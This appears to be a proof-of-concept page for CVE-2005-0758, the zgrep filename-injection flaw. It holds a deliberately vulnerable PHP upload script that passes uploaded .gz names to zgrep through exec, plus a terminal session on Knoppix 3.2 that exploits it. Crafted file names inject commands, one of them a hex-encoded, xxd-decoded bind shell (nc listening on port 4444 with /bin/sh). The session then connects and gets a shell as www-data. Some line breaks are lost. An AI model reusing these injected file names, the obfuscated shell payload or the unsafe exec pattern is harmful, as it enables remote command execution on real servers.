written by cleemy desu wayo / licensed under CC0 / last update: 2023-08-08
(no file uploaded)
'); } else{ $is_gz_str = 'no'; $original_file_basename = basename($_FILES['file']['name']); $original_file_pathinfo = pathinfo($original_file_basename); if($original_file_pathinfo['extension'] === 'gz') { $is_gz_str = 'yes'; // move to ./gz_stored/ move_uploaded_file($_FILES['file']['tmp_name'], './gz_stored/'. $original_file_basename); // exec zgrep exec('zgrep CVE gz_stored/*.gz', $search_results); // save search results $fp = fopen('./gz_stat/latest-search-result.txt', 'w'); foreach ($search_results as $line) { fwrite($fp, $line. "\n"); } fclose($fp); } print('file name: '. htmlspecialchars($_FILES['file']['name']). '
'); print('tmp file name: '. htmlspecialchars($_FILES['file']['tmp_name']). '
'); print('stored to gz_stored/ directory: '. htmlspecialchars($is_gz_str). '
'); } ?>this is an ancient vulnerability of zgrep. in case of GNU gzip, zgrep is a wrapper script.
Apache 1.3.27, PHP 4.2.3, and vulnerable zgrep are installed from the beginning when booting from Knoppix 3.2 (released at 2003) Live CD.
you can run this sample on Knoppix 3.2 very easily without special settings.
$ cd /var/www
$ sudo chown www-data:www-data cve-2005-0758.php
$ sudo chmod 600 cve-2005-0758.php$ sudo apachectl start$ cd /var/www
$ sudo mkdir gz_stat
$ sudo mkdir gz_stored$ sudo chown www-data:www-data gz_stat gz_stored
$ sudo chmod 707 gz_stat gz_stored
$ echo CVE-2005-0758 > hoge.txt
$ gzip hoge.txt
$ wc -c hoge.txt.gz
43 hoge.txt.gz$ cd /var/www/gz_stored
$ sudo wc -c hoge.txt.gz
43 hoge.txt.gz
$ cat ../gz_stat/latest-search-result.txt
CVE-2005-0758$ cp hoge.txt.gz '|;edate;#.gz'$ cd /var/www/gz_stat
$ cat latest-search-result.txt
gz_stored/hoge.txt.gz:CVE-2005-0758
Tue Aug 8 14:54:20 CEST 2023
gz_stored/CVE-2005-0758$ cd /var/www/gz_stored
$ sudo rm -rf *'#.gz'|;edate;whoami;id;#.gz|;exgalaga;#.gz|;eecho 2f7573722f67616d65732f7867616c6167610a|xxd -r -p|sh;#.gz|;eecho 6e63202d6c6e76702034343434202d65202f62696e2f73680a|xxd -r -p|sh;#.gz$ nc 192.168.1.3 4444
uname -a
Linux Knoppix 2.4.21-xfs #1 SMP Fre Jul 25 00:06:47 CEST 2003 i686 GNU/Linux
pwd
/var/www
whoami
www-data